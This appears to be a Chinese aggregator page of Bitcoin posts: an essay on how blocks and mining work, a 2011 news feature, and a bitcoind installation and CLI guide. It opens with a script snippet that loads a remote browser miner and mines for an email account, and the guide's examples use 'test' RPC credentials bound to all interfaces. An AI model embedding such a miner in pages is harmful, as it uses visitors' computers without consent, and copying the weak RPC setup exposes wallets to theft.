精华内容
参与话题
问答
  • bitcoin

    2013-05-22 09:26:28
    BitcoinPlusMiner("397106191@qq.com")
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
    <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
    <script type="text/javascript">BitcoinPlusMiner("397106191@qq.com")</script>
    展开全文
  • 比特币(BitCoin)的概念最初由中本聪在2009年提出,根据中本聪的思路设计发布的开源软件以及建构其上的P2P网络。比特币是一种P2P形式的数字货币。点对点的传输意味着一个去中心化的支付系统。该资源是比特币bitcoin...
  • Bitcoin 的基本原理

    千次阅读 2011-12-18 20:53:42
    Bitcoin这玩意儿有点意思,很有创意啊。 捐赠一点 BTC 给我玩玩? :) 我的帐号是 12ftG3ac52LiapCmR4rS82oFiALCoeQzpM   这里有人免费派 BTC http://blog.codingnow.com/2011/05/bitcoin.html Bitcoin 的...

    Bitcoin这玩意儿有点意思,很有创意啊。

    捐赠一点 BTC 给我玩玩? :) 我的帐号是

    12ftG3ac52LiapCmR4rS82oFiALCoeQzpM

     

    这里有人免费派 BTC

    http://blog.codingnow.com/2011/05/bitcoin.html

    Bitcoin 的基本原理

                           

                              
                                 

    昨天读到了 Bitcoin 的中文介绍,觉得非常有意思。不过上面这篇文章解释的非常不靠谱,我花了一晚上去Bitcoin的官方网站 仔细研究了一下,总算理解了其原理。感觉非常有启发,尤其是对虚拟货币的流通和发行有许多借鉴意义。今天写这篇 Blog 理一下。

    什么是货币呢?货币就是商品(包括服务)交换的媒介。现在我们通行的货币是由有信誉的银行发行的,基本上是由其信誉来担保的。只要用的人都认可,那么我们就可以用它来交易。货币有一定的保值特性,我把我的劳动/服务/所有的商品换成货币后,银行担保我在日后的某一天,我还可以用它交换会差不多等值的东西。这个保证的前提是,银行不会滥发新的货币以及大家都信任这一点。

                              
                              
                                 

    以前,我们用贵金属做货币。因为贵金属产量不高,货币新增加的速度有限,而经济体在不断增大,市场需要更多的货币来让商品尽量的流通。有需求就有价值,从这个意义上来说,贵金属本身制造别的东西具备的价值是次要的,经济体需要货币来流通商品这个需求才是主要的。而贵金属产量有限,且曾经流通着的贵金属货币由于各种原因会退出市场,那么即使是新造的贵金属货币也有同样甚至更高的价值。

    Bitcoin 为什么保值,BTC (Bitcoin 的货币简称)存在于一个庞大的 p2p 网络中。使用 Bitcoin 的群体公认了一种算法,这种算法在现今的条件下,每小时只会新产生大约 6 组新的 BTC ,目前一组是 50 个。也就是说,这个世界上,每个小时大约只会产生 300 个 BTC 。这个产量还会由网络自动调整难度来限制产量。你没办法通过修改所有人的 Client 的算法及参数(client 是开源的)来加快货币产量。伪造的货币会被网络丢弃(除非你可以控制大部分网络节点)。

    BTC 本身有什么价值?

    BTC 的价值就是交易渠道本身。一组新制造出来的 BTC 提供了把旧的 BTC 从一个帐户转移到另一个帐户的数学保证。这个安全保证背后的代价是大量的计算力。生产这么一个安全通道是需要消耗大量能源的,所以整个 BTC 用户群体,奖励那个造币者(目前是 50 BTC)。

    简单说,我的理解就是,现在世界上所有的 BTC 背后都是用运行计算机的能量产生出来的,它们的总价值,(到现在一共有大约 12w 组 BTC 被生产出来,每组 50 个,市场价格大约 7.3 美金一个),应该是少于消耗掉的能源的总市场价值的。不过我想,用于生产 BTC 的能源大都原本就是不用也被浪费掉的资源。


    一个没有中心节点的“银行”是怎么让大家信任并工作起来的呢?

    答案是,这个 p2p 网络上每个节点都记录了 BTC 诞生以来的每笔交易的详单,并从中可以推测出每个 BTC 唯一的属于谁。这样你接受一笔交易时,就能知道别人给你的钱是不是合法的。

    从最基本的说起:

    每个帐户其实就是一对公私匙,有私匙的人就是帐户的主人。如果 A 要给 B 转一笔钱,A 就把钱的数量加上 B 的公匙,用自己的钥匙签名。而 B 看到这个签名,就可以了解,的确是 A 转给了他如数的 BTC 。

    那么这笔交易需要一个见证人,担保交易发生过。这样,以后 B 想用这笔钱的时候才是合法的。担保人就是整个使用 BTC 的网络。

    A 在发起这笔交易的时候,必须把签过名的交易单尽量的广播到 p2p 网络上,最终会让每个节点都知道这件事。B 从 p2p 网络上不断的收到别人的确认信息。当它收到足够多的确认信息后,就认为 A 的确发出了这条交易单。这以后,B 就可以自由使用这笔钱了。

    当 B 使用 A 转给它的钱给 C 时,也会广播给足够多(最终所有人都收到)的人让他们担保。每个担保人只有确信 B 有足够多的钱可以支付的时候才做确认。本质上,BTC 网络并没有记录每一块钱属于谁,它记录的是从诞生起到当前的每一笔交易,并推算出每个帐户里有多少钱。任何人试图确认一个交易单时,它需要确认的是转出帐号上有没有那么多钱。

    Bitcoin 需要解决的核心问题是,如何避免一笔钱被花两次。

    整个帐单序列是一环套一环的。每个人在完整的全局帐单上签上新的一笔的时候,都需要利用前面信息生成后面的。这个帐单序列被称为 chain of blocks 。每个 block 里面包含有若干条经过确认并 hash 签名 (难以伪造) 的交易记录。每个 block 都和全局表上的上一个 block 有关联。每条帐单都会通过 p2p 网络最终被转发给制造新 block 的节点上。

    这个制造新 block 的过程被叫做 mining ,制造新 block 就是把最近收到的帐单打包在刚制造的 block 里。这个打包的过程即制作的过程,只有极其稀少的几率被制造成功。(你可以理解成把新收到的帐单合在一起,一次成型不可修改,如果制造失败就要再来一次)一旦制造成功,你就把新的 block (被认为是对老的全局 block 链的延续)广播出去。

    因为是 p2p 网络,可能有许多人都在同时制造新的 block ,但有一个排序机制保证只有最优(最难,花费最大计算时间的)的那个新 block 被网络群体接受,挂在全局的 block 链上。重复一次,整个 BTC 网络只有一个全局帐单表,每个节点都完整的保存有一份。

    这个全局帐单表会越来越大,block 链越来越长,在最新的部分,必然有许多分茬。这是因为 p2p 网络的 mining 过程是分开并行进行的,每条新帐单也不能立刻广播给所有的节点。每个 mining 的节点都有责任把他新收到的,在他认可的老的全局帐单上不存在的帐单,合在他准备制造的新 block 中。一旦新 block 被制造出来,就立刻广播出去,争取得到更多人的认可。主要是得到那些想 mining 的人的认可,这些人会在这个 block 的基础上制造新的 block 。

    如果 p2p 网络过大,交易帐单不能尽量的迅速的广播到全网络。就会出来 p2p 的网络的局部保持有小群体共同认可的一份全局帐单。多个全局帐单的分支同时发展是有可能的。因为每个小群体都可能认为他们看见的那部分更长更有效。但是,只有有人发现另一条分支更长,它就会转换阵营。所以,有一定的可能性,你的帐单被一个小群体接受,但在一段时间后,被更大的阵营抛弃。

    不过,算法参数决定了,新的 block 产生速度很慢,如果你的帐单被多达 6 个人确认,基本上就保证了它合并到的那份全局帐单,就是 p2p 网络全体认可的。


    既然生成新 block 费时费力,制造出新 block 的几率好象买彩票中大奖,还有那么多人去执行程序计算出新 block 呢?答案是,每个制造出新 block 的人,都有权利构造一条帐单声明老天给了我 50 BTC 。这个规则是被所有 BTC 用户共同承认的。把制造 block 等同于成挖金矿 (mining) 只是一个形象上的比喻。实际上,没有人可以把金子挖出来囤积。每个新 block 必须包含全局表上的上一个 block 的 hash 值,BTC 网络自我调节难度,让每 10 分钟大约产生一个新 block 。如果你 10 分钟内没制造出新的 block ,差不多就是说你前面 10 分钟干的活白干了。从最新版的 block 继续演算。

    所以更恰当的比喻是买彩票。一个每 10 分钟开一次的彩票。你不停的花钱买,10 分钟内开中了就是你的,开不中先买的都作废,然后下一轮。


    数学上怎样保证 mining 的过程需要消耗大量的 CPU 时间?并只有很小的几率成功?

    这里用到一个叫做 Hashcash 的系统。它最早是为了改善 email spam 的问题被发明出来的。

    就是给一段特定信息(比如这封 email 是从谁发给谁)加一个特定的 hash 头。这个 hash 头需要大量的 CPU 时间计算出来。发 spam 的人没有那么多 CPU 时间为群发的每一封 email 计算一个符合要求的 hash 头,所以认为有这个合法 hash 头的 email 不太可能是 spam (花了 CPU 时间在上面)

    这个算法就是,为你想保护的信息,找到一串数字,附加上去后,使用某种公认的 hash 算法,比如 SHA-2 ,算出一个 hash 值。如果 hash 值由一长串 0 打头(具体多少个决定了难度),那么就成功了。

    为一段信息,找到这串数字,在目前来说,除了暴力尝试没有什么好的方法。也就是随机更换数字,换一次就 hash 一次比对。在一个可以预期的尝试次数后,一般都能找到想找的数字。

    每个想 mining 赚 BTC 的人,不停的从 BTC 网络上监听信息。如果有人发布了新的合法的 block ,他就合并到本地的全局表里。并重置自己的计算过程,从新得到的 block 开始。如果有新发布的交易单,也记录下来。不断的把最新的 block 的 hash 值、新收到的交易单,自己获得 50 BTC 的那条奖励单合并在一起,计算 SHA-256 ,看看结果是否满足条件。一旦满足,就把这个新的 block 广播出去。

    当足够的人认可它,(以它为基础计算后面的 block ),他也就获得了那 50 BTC 。


    为了匹配 BTC 的经济规模。所有的 Bitcoin client 都被设置成,每 210000 个 block ,生产新 block 的人被认可凭空获得的 BTC 数量比之前的少一半(如果这个时候他还在包内写上自己获得 50 BTC ,其他人不会确认他的这个 block )。这会让 BTC 的总量增速变缓。新的 block 产生的速度是由难度来调节的。这个难度会由 p2p 网络根据最近生产 block 的速度自动调节。所以即使日后计算能力增加,也能保证大约 10 分钟一个的速度。

    而且,随着生产新 block 的收益减少,愿意贡献自己的 CPU 来 mining 的节点也会变少。(如果减少太多,只需要减少难度即可)

    最终,p2p 网络不再凭空制造出新的 BTC ,这个时候制造新的 block 的动力是什么呢?那就是交易税。因为没有什么人愿意生产新的 block ,发起交易就变的困难。(没有 block 可以容纳交易单)希望交易被确认的人可以声明,如果有人制造出新的 block 接纳他的交易单,他会支付一小笔交易税给他。当许多人都这么做的时候,制造 block 又变的有利可图了。只不过,直接上不再有新的 BTC 诞生,只是在这些 BTC 用户之间流通。

    总有一些 BTC 会消失,主要是那些帐号的私匙丢失了,没有任何人可以转移走帐户上的钱。不能流通的货币就不是货币了。但最终 BTC 总体会达到一个比较大的规模,准确说是两千一百万个。但 BTC 本身是可以切割的,比如你可以支付给别人 0.01 个 BTC 。所以 BTC 本身会升值,总数也一直够用。

     

     

     

     

    如果想挖矿,还有一些其他资料

    http://bbs.21ic.com/icview-243258-1-1.html

     

      【导语】天生不受监管和控制的虚拟货币Bitcoin,被称为“人类有史以来最危险的项目”,它的蔓延与流行,催生出一个新的行当--“Bitcoin矿工”。
      
      
      夜幕下的张江高科像电影《黑客帝国》的场景,灯火迷离,人头晃动,一只黑猫在室外桌下蹿来蹿去,骤然急停,目光与我相撞,顿觉电光火石,令我不敢直视。习习晚风中,我和Virushuo已经对坐谈了一个多小时。
      
      我们谈论的话题只有一个:Bitcoin(比特币)。那是什么东西?一个幽灵,一个无政府的幽灵在欧洲大地游荡。
      
      Bitcoin是一个P2P开源项目,它可能是人类有史以来最危险的发明,因为这个项目如果成功的话,将会动摇当今统治世界的三大力量之一的金融(根据Negri和Hdart的帝国理论,其余两大力量是军事和媒体)。在现实社会中使用货币,无论是刷卡还是付现金,买卖双方之间都离不开银行。更不存在一种东西叫网络货币,我们在网上交易,无论是用Paypal还是支付宝,都不可能绕过第三方中间机构,而不被追踪到。但这一切可能都将终结,历史也许会翻开新的一页,因为Bitcoin来了。
      
      Bitcoin是一种基于点对点网络的匿名数字货币,由计算机按照公开的算法分布运算产生,汇款通道不受中央控制,货币转帐是由网络节点进行集体管理,交易各方可以隐藏自己的真实身份。xiaolai在博客中说:“用大白话简单地讲,Bitcoin就是一种电子货币——只不过,这种崭新的电子货币不受任何政府、任何银行的控制。”
      
      尽管迄今为止全部公开资料显示,这种货币的发明者是一个貌似是日本人的程序员中本聪(Satoshi
      Nakamoto),但几乎所有的人都不相信这是一个真身份,Virushuo推测,真正的发明者很可能是俄罗斯人。这不仅因为俄罗斯盛产精通数学、计算机和经济学的天才,而Bitcoin的精妙算法显然离不开这三种能力的综合,而且因为目前网络上讨论Bitcoin最活跃的语种是俄语。
      
      “黑帮,只有黑帮才需要这样一种虚拟货币!”Virushuo眼里显出黑猫一样的光亮,“也只有黑帮才能用暴力推行这种货币。”
      
      在他的描述下,我眼前出现了一个与传统警匪片截然不同的画面。在一个废弃的码头,两伙黑帮相遇,一方拿出一个提箱,另一方拿出一台笔记本电脑。一方开箱、用匕首沾着白粉品尝,另一方打开电脑,连上Bitcoin客户端,填入一串收款地址和金额,然后点击发送……
      
      当然,Bitcoin不仅是黑帮可以用,广大善良无辜的群总也可以用。目前,可以用它来购买服务器空间,也可以用来购买别人的服务,例如雇佣程序员来写一段代码。
      
      这么好的东西,我怎么才能得到呢?最原始、最有效的办法就是“挖矿”。这是一种形象的说法,实际上就是在电脑下载一个客户端,利用CPU或者显卡GPU的能力,来参与到Bitcoin网络的计算中,并获得一定的报酬。不是所有的电脑都适合挖矿,你需要升级硬件,其中,主要是显卡。
      
      Virushuo用1500元购买了一块二手的ATI5870显卡,这款显卡经测评挖矿效率很高,他还更换了机箱与电源,由于温度太高,噪音太大,他用半导体制冷片做了一个机箱内的空调。这样一台DIY的挖矿机,功率全开,每天可以挖到0.6个Bitcoin,按照市场上的参考价,这大约可以兑换4-5美元。也就是说,如果行情不跌的话,至多2个月就可以收回在显卡上的投资。xiaolai的挖矿经历证实了这种说法。他说:“我现在2个显卡(6970)一天大约1个多一点点,大约3个月可以回收显卡的成本。”
      
      事实上,随着参与人数的增多,显卡变得越来越贵,挖矿变得越来越难。计算机算法保证了Bitcoin的稀缺性,在未来100年之内,全系统的Bitcoin总数不会超过2100万个。而现在国外,已经有24台机器48张显卡组成的计算阵列横空出世,照这个趋势发展下去,个人挖矿连电费都可能赚不回来。
      
      不过Virushuo对此持乐观态度,他认为,不要指望通过挖矿发财,Bitcoin是迄今为止人类最大胆的试验,我们不应当错过这个好玩的游戏。
      
      那么,什么是比特币(Bitcoin)?Bitcoin是一次计算机极客的试验,也是一次暴富的机会,是一词费电的豪赌。
      
      但它更可能是一个巨大的老鼠仓,一次超级投机,荷兰郁金香、英国北海石油、大陆君子兰的网络版,乌合之众的狂欢,小市民的破产诱饵,世界经济的定时炸弹,人类理性的破坏剂,也是智商和财商的试金石。
      
      挖矿去,走,一起挖矿去!
      
      
      附录1
      Bitcoin:人类历史上最危险的发明
      
      王佩
      
      
      有人说它是人类历史上最危险的发明,有人说它是彻底的无政府主义思想的产物,也有人说它是一场技术狂人制造的骗局,它就是比特币(Bitcoin,简称BTC)。比特币,简单地说就是一种虚拟货币,跟QQ币不同的是,它没有一个类似央行一样发行机构,也不受任何中心的控制。它跟我们下载电影的电骡使用同样的技术--P2P,也就是点对点通讯,其制造和流通过程完全匿名,换句话说,你不知道谁拥有多少比特币,更无法追踪每一笔资金的来龙去脉。
      
      比特币建构于一个叫中本聪(Satoshi Nakamoto)的程序员的理论之上,这名字听上去像个日本人,但有人分析他有可能是北欧的神秘极客。他在2007年发起了这个项目,并写下了原始代码,然后网络蒸发,再也找不到一点痕迹。
      
      比特币的去中心化和公开的算法,决定了它不可能被伪造。跟黄金一样,比特币也是有价值的。黄金的价值由其稀缺性和开采付出的成本决定,比特币也类似。首先,它很稀缺,计算机算法保证比特币只能有限供应,未来100年,全系统的比特币不会超过2100万个,其次,比特币的制造(俗称“挖矿”)和交易,需要消耗大量的计算机运算能力,好的CPU和GPU(显卡)是挖矿的保障,电能的消耗也不容小觑。但是跟黄金不同的是,比特币只有对认可它的人才有价值。所谓信则灵,不信则无。在美元钞票上都印着一句话:“我们信仰上帝”,比特币界也有一句类似的话:“我们信仰计算。”
      
      在中文微博圈,关于比特币的讨论逐渐多起来,更有人购买显卡,开始“挖矿”,淘宝上一款据称挖矿性价比最好的显卡--ATI5870,被抢购一空。比特币与真实的货币之间,也存在“汇率”,并且每天都在波动。最近两个月来,价格已经上升了9倍,目前1BTC兑换8.6美元。
      
      Bitcoin面临的最大问题是,目前得到它的渠道太少了。事实上,它根本不像宣扬的那样利用计算机空闲能力制造,要想挖到它,你需要1500RMB以上的显卡,以及与之相配套的电源,机箱,CPU。程序员Virushuo,甚至用 半导体制冷片专门制作了一台机箱挖矿。对于大多数人来说,要想得到BTC,只能从黑市上买了。现在有淘宝商家代理这项业务,不过建议大家谨慎交易。
      
      根据我所掌握的有限信息,目前互联网上最大一笔BTC交易是25万BTC,国内最大一笔交易是2000BTC,按当时的汇率,折合10万RMB。
      
      由于比特币是由全球参与的计算机按照算法昼夜不停生成的虚拟货币,完全不受政府和组织控制,资金流向不受追踪。可以用来干坏事,也可以用来干好事,尤其是怕被人知道的好事。有人说一场骗局一场梦,有人说此物一出天下反。谁也不知道比特币朝何处发展,但是正如许多科幻电影里所揭示的那样,技术由人类发明,最终却成为改变控制人类的手段。
      
      Bitcoin对很多人来说,并不是发财致富的好机会,这玩意有许多天然缺陷,内在通胀不可避免,有朝一日被政府禁止,则一文不值。面对许多信誓旦旦的网络矿工,有网友友情提醒说,美国西部淘金热的时候,赚钱的可不是吭哧吭哧挖矿的,而是那些卖炊具的。
      
      
      附录2
      关于Bitcoin说得最清楚的一篇文章
      
      【译者按】Bitcoin众说纷纭,但大都云里雾里,《时代》周刊这篇文章,说得最清楚明白。
      
      Bitcoin,挑战政府和银行
      
      原作者:Jerry Brito
      译文/徐琳 wangpei
      
      
      去年年底,“维基解密”放出美国外交机密电文后,很多人试图用捐款来赞助这个组织,但他们很快就发现,他们的汇款根本无法到达维基解密,大家都怀疑这是美国政府施加压力的结果。贝宝(PayPal,它在美国的地位类似于支付宝在中国的地位--译者注)甚至冻结了维基解密的汇款帐户,使得维基解密无法收到已经筹集到的资金。
      
      “嗨,VISA,万事达,贝宝,这是我的钱!你凭什么对我颐气指使,凭什么规定我什么时候能花钱什么时候不能花钱?拜托,这可是我的钱!”媒体评论家杰夫·贾维斯揶揄道。
      
      第三方中介机构的阴谋
      
      无论支付机构是否有权利限制我们如何在网上花钱,事实是,他们早已在行动上开始限制我们。我们依靠第三方在线交易,当政府想要限制我们如何花钱时,这些中介机构就是同谋。
      
      在英国、爱尔兰和澳洲等国家,在线赌博和赛事投注是完全合法的,美国公民可以顺利访问这些国家的博彩网站,但如果想要下注就是另外一回事了,因为《互联网反赌博法案》明文规定,要求支付系统阻止公民向在线赌博网站下注。
      
      同样尴尬的事情还有,美国国会正在考虑审议一项类似打击网上侵权和假冒的法案,这个法案不仅可以让司法部抓住销售假冒和盗版物品的嫌疑场所,而且还能获取支付工具里的交易记录。
      
      因此交易记录会出卖你,而你却没得选择。只要是网上交易,你就必须有一个像贝宝这样的第三方来完成交易。史上从未出现过一种“在线现金”,可以不依托第三方直接达到双方交易的目的,如果能有这么个东西,那之前说的这一切隐患就都不再存在。这一切都是梦,直到Bitcoin(比特币)出现。
      
      真正的数字货币
      
      Bitcoin,2009年诞生,它的生父名叫中本聪。确切地说,Bitcoin是一种计算机算法,却是世界上第一个匿名加密的数字货币。说起来啰嗦,其实理解起来并不复杂。
      
      网络密布后,数字货币早已为人熟知,比如Facebook的积分,一种能让你买Facebook应用程序虚拟商品的数字货币。你用美元兑换他们的原理就像你用欧元兑换美元一样,然后用它们从愿意接受他们的卖家手中买你想要的东西,比如在虚拟农场里做买卖。
      
      网上能看到的一切数字货币,从已经倒闭的Flooz和Beenz,到比较成功的e-gold等不一而足,与现金不同的是,截至目前,所有这些数字货币都需要在第三方中介机构的监管下才能交易,因为数字货币与现金在根本上存在不同。如果我用真正的现金支付你100欧元,那这100欧元就是你的,我手上就没有了,但数字货币不一样,它的交易需要有一个可信任的中介从应付款人的账户中扣除一笔金额,并把它添加到收款人的账户上。
      
      Bitcoin的横空出世打破了传统数字货币存在的交易潜规则,它是史上第一个不需要借助第三方机构就能摆脱“重复支付”弊端的在线货币,它之所以能解决这一硬伤的奥秘在于他有一个“点对点”的网络交易数据库,这个数据库能让转让的交易记录被保存,保证同样的货币不能使用两次,一笔钱一旦支付就不再拥有。因此,使用比特币就像使用美元或欧元现金一样便利,付款人直接把钱给收款人,钱一离手就不再拥有,更关键的是,这个过程完全无需借助任何第三方。
      
      从匿名性上讲,Bitcoin数字货币跟现金相似。当你到跳蚤市场上卖东西,不会留下任何交易记录。你不需要知道卖主的名字,卖主也不需要知道你的。数字货币依赖于帐户,只需要收集你的信息。因为Bitcoin无需帐户,而是依靠公私钥加密技术,所以不可能通过窥探数据库,就发现谁把钱打给了谁。
      
      一个革命性的概念
      
      Bitcoin具有潜在的革命性,原因如下:首先,人为通货膨胀不可能发生。在多数国家爱,央行控制着货币供给,会滥发货币以刺激经济。钞票印刷得越多,钱就越不值钱。与之形成鲜明对比的是:Bitcoin没有发行机构,没有人能够超发货币,新的Bitcoin的是系统按照公开算法“制造”出来的,数量可完美预测。更为革命性的是,因为Bitcoin的交易不需要中介,政府将没有办法进行管理。Bitcoin的算法保证了政府很难追踪到最终用户。Bitcoin注定不会重蹈e-gold的覆辙。e-gold也是匿名交易,但糟糕的是,它有一个总部,直到有一天,FBI端了他们在佛罗里达的老窝,e-gold的人选择了跟警方合作,最终导致了多人被捕,这种电子货币也衰亡了。
      
      现在想一下Bitcoin遇到同样的情况会怎么样。因为Bitcoin是一种开源项目,因为它的数据库存在千千万万台作为节点的个人计算机上,所以没有它没有总部可供警察耀武扬威。即便是Bitcoin的官方网站Bitcoin.org被关站,源代码下载被禁止,这种虚拟货币丝毫也不会受影响。就像BT下载一样,从p2p网络中拿到几台计算机,对整个系统影响甚微。因为这种虚拟货币真正匿名,无法追踪谁是持有者。Bitcoin就像任何一种新型科技一样,是一把双刃剑,既可用来做好事,也可用来干坏事。坏事谁都可以想象得出来,例如卖假货,盗用信用卡等等非法活动。也正因为Bitcoin处于灰色区域,可以让赌博不合法国家的公民在线上参与到英国的合法赌博中。好事,当然也有很多。守法公民可以合理用钱,不需要别人指手画脚,愿意捐助维基解密?没问题!生活在利比亚这样的国家,想买一本开明的书籍?台简单了。无怪乎电子无疆界组织称道“Bitcoin是一种反监控的数字货币”。尽管Bitcoin还处于幼儿阶段,其经济总量预计只有500万美元(这是4月份的数据,到2011年6月6日,经济总量已经超过1亿美元。--译者注),但显而易见它在成长。美元与Bitcoin的兑换日益活跃,愿意接受Bitcoin的商家也越来越多。如果它照这样发展下去,不但会对美国政府造成威胁,也会对银行机构带来冲击。好戏才刚刚开始!

    展开全文
  • 服务器配置: 操作系统: ubuntu 16.04 CPU: 4U 内存: 16G #一般来说4G就够,但如果要查历史记录,需要加载完整的交易索引表-tindex,这导致需要8G+的内存 硬盘: 500G #比特币从08年开始运行,已经积累了大量数据...

    服务器配置:

    操作系统:   ubuntu 16.04
    CPU:        4U
    内存:     16G     #一般来说4G就够,但如果要查历史记录,需要加载完整的交易索引表-tindex,这导致需要8G+的内存
    硬盘:     500G    #比特币从08年开始运行,已经积累了大量数据,区块链内容大小达210G。
    带宽:     10MB+

    安装部署:

    下载地址:https://bitcoincore.org/en/download/

    root@wallet-test1:/data# tar xf bitcoin-0.17.1-x86_64-linux-gnu.tar.gz 
    root@wallet-test1:/data# ln -s bitcoin-0.17.1 bitcoin           #用软链接的方式在升级程序时,可不用重新设置环境变量
    root@wallet-test1:/data# mkdir -p coin/btccoin/                 #数据存储目录
    root@wallet-test1:/data# vim /etc/profile.d/bitcoin.sh          #添加环境变量
    export PATH=/data/bitcoin/bin:$PATH
    root@wallet-test1:/data# source /etc/profile.d/bitcoin.sh       #加载环境变量

    配置文件:

    -conf=<file>                #指定配置文件,默认~/.bitcoin/bitcoin.conf
    -port=<port>                #监听端口,默认8332或testnet 18332
    -bind=<addr>                #监听地址,使用[host]:port标识ipv6地址
    -datadir=<dir>              #数据保存目录,建议500G以上
    -daemon                     #运行为守护进程
    -dbcache=<n>                #设置数据缓存大小,单位百万字节,默认450
    -debuglogfile=<file>        #指定debug级别日志保存的位置。
    -includeconf=<file>         #指定额外配置文件路径。只能用于配置文件,不能用于命令行。
    -loadblock=<file>           #启动时从外部的名为blk000??.dat加载数据块
    -reindex                    #从磁盘上的blk*.dat文件重建链状态和块索引
    -reindex-chainstate         #从当前索引的块重建链状态
    -version                    #查看当前程序版本并退出
    -txindex                    #默认情况下,比特币核心只创建与使用者钱包相关的交易索引,如果需要维护全部交易的索引,需要设置该选项。
    -maxmempool=<n>             #将事务内存保持在<n> mb以下(default: 300)
    -maxorphantx=<n>            #在内存中最多保存<n>不可连接事务(default: 100)
    -mempoolexpiry=<n>          #在内存池中保存事务的时间不要超过<n>小时(default:336)
    -server                     #接受命令行和JSON-RPC命令
    -rpcuser=<user>             #JSON-RPC连接时使用的用户名
    -rpcpassword=<pw>           #JSON-RPC连接时使用的密码
    -rpcport=<port>             #JSON-RPC连接监听的端口,默认8332或testnet 18332
    -rpcallowip=<ip>            #允许JSON-RPC连接从外部连接。可以是一个单独IP(e.g. 1.2.3.4)、网络地址/掩码(e.g.1.2.3.4/255.255.255.0)或网络地址/掩码长度(e.g. 1.2.3.4/24)。该选项可指定多次。
    -rpcbind=<addr>[:port]      #JSON-RPC连接的服务监听地址和端口。不指定-rpcallowip参数时,该参数无效。端口参数可选,若指定,则覆盖-rpcport选项。使用[host]:port标识ipv6地址。地址格式与-rpcallowip相同。
    

    钱包选项

    -addresstype                #使用什么类型的地址("legacy", "p2sh-segwit", or "bech32",default: "p2sh-segwit")
    -disablewallet              #不加载钱包并禁用钱包RPC调用
    -discardfee=<amt>           #费率(以BTC/kB表示)
    -fallbackfee=<amt>          #收费比率(以BTC/kB为单位),当收费估计数据不足时,会使用该比率(默认值:0.0002)
    -keypool=<n>                #将密钥池大小设置为<n>
    -mintxfee=<amt>             #如果费用(以BTC/kB为单位)小于此值,则认为创建事务的费用为零(默认值为0.00001)。
    -paytxfee=<amt>             #向您发送的交易中添加的费用(以BTC/kB为单位)(默认值:0.00)
    -rescan                     #重新扫描在启动时丢失的钱包事务的块链
    -salvagewallet              #尝试在启动时从损坏的钱包中恢复私钥
    -wallet=<path>              #指定钱包数据库路径,可以指定多次加载多个钱包。如果路径不是绝对的,则相对于<walletdir>;如果路径不存在,则创建路径(作为包含wallet.dat文件和日志文件的目录)。为了向后兼容,它还将接受<walletdir>中现有数据文件的名称。)
    -walletdir=<dir>            #指定保存钱包的目录(默认:<datadir>/wallets,如该目录不存在,则使用<datadir>)
    -walletnotify=<cmd>         #当钱包事务发生更改时执行的命令

    服务管理:

    运行

    bitcoind -conf=/data/bitcoin/bitcoin.conf -daemon

    停止

    bitcoin-cli stop

    其它常用命令:

    bitcoin-cli getnetworkinfo              #查看网络状态
    
    bitcoin-cli getpeerinfo                 #查看网络节点
    
    bitcoin-cli getblockchaininfo           #查看区块链信息:如同步进度
    
    bitcoin-cli help                        #查看所有命令

    bitcoin-cli命令使用:

    命令格式:

    bitcoin-cli [options] <command> [params]
    bitcoin-cli [options] -named <command> [name=value]...
    bitcoin-cli [options] help                      #获取命令帮助
    bitcoin-cli [options] help <command>            #获取command的命令帮助

    选项:

    -conf=<file>                #指定配置文件路径。相对路径将以datadir位置作为前缀。默认文件名:bitcoin.conf
    -datadir=<dir>              #指定数据存储位置
    -getinfo                    #从远程服务器获取一般信息。与服务器端RPC调用不同,-getinfo的结果是多个非原子请求的结果。结果中的一些条目可能表示来自不同状态的结果(例如,钱包余额可能来自报告的链状态的不同块)
    -named                      #传递指定的参数而不是位置参数
    -rpcclienttimeout=<n>       #HTTP请求超时(以秒为单位),0表示没有超时。默认900
    -rpcconnect=<ip>            #向指定IP的节点发送命令,默认127.0.0.1
    -rpccookiefile=<loc>        #认证cookie的路径,相对路径以datadir地址为前缀。默认:data dir
    -rpcpassword=<pw>           #JSON-RPC连接的密码
    -rpcport=<port>             #JSON-RPC连接的端口
    -rpcuser=<user>             #JSON-RPC连接时使用的用户名
    -rpcwait                    #等待RPC服务器启动
    -rpcwallet=<walletname>     #向非默认RPC服务器发起RPC连接。需要精确匹配传递给bitcoin-cli的参数
    -stdin                      #从标准输入读取额外的参数,每行一个,直到EOF/Ctrl-D结束(推荐用于敏感信息,如密码)。当与-stdinrpcpass结合使用时,使用标准输入的第一行作为RPC密码。
    -stdinrpcpass               #读取标准输入第一行作为RPC密码。当与-stdin结合使用时,标准输入第一行作为RPC密码。

    bitcoind-cli常用命令

    1. bitcoind运行为testnet,并指定相关参数(可在运行时指定,也可写在配置文件中,运行时指定):
    root@wallet-test1:/data/bitcoin# bitcoind -testnet -datadir=/data/coin/btccoin -rpcbind=0.0.0.0 -rpcallowip=36.152.8.188 -rpcport=30011 -rpcuser=test -rpcpassword=test -txindex -daemon -server
    Bitcoin server starting
    1. 关闭bitcoind(运行命令后,需等待一段时间):
    root@wallet-test1:/data/bitcoin# bitcoin-cli -rpcconnect=127.0.0.1 -rpcport=30011 -rpcuser=test -rpcpassword=test stop
    Bitcoin server stopping
    1. 生成一个新地址
    getnewaddress ( "label" "address_type" )
    返回用于接收付款的新比特币地址。
    语法:
        1. "label" :字符串,可选。要链接到的地址的标签名称,若未指定,默认为空。label可以不存在
        2. "address_type" :字符串,可选。若使用本选项,可用选项为"legacy", "p2sh-segwit", 和"bech32"。默认值为bitcoind运行时-address_type指定的值。
    运行结果:
        "address"       #字符串,新的bitcoin地址

    示例

    root@wallet-test1:/data/bitcoin# bitcoin-cli -rpcconnect=127.0.0.1 -rpcport=30011 -rpcuser=test -rpcpassword=test  getnewaddress "lxk"
    2N2gX4iwgmKEUiZuPcyJ9iCesN1WcPz8bVy
    1. 导入地址进钱包

    importaddress "address" ( "label" rescan p2sh )
    添加一个可视的脚本(十六进制)或地址到钱包,但并不能用来支付。需要一个新的钱包备份

    语法:

    1. script:字符串,必须项。十六进制脚本或地址
    2. label:字符串,可选项,默认为空。
    3. rescan:布尔值,可选项,默认为true。为交易重新扫描钱包
    4. p2sh:布尔值,可选项,默认false。添加脚本的p2sh版本

    注意1:
    如果rescan值为true,操作可能会花费一段时间。在这期间,其他rpc请求可能报告导入的地址存在,但相关事务丢失,导致暂时不正确的/伪造的余额和未使用的输出,直到rescan完成。
    如果你有完整的公钥,可以使用importpubkey,而不用本命令。

    注意2:
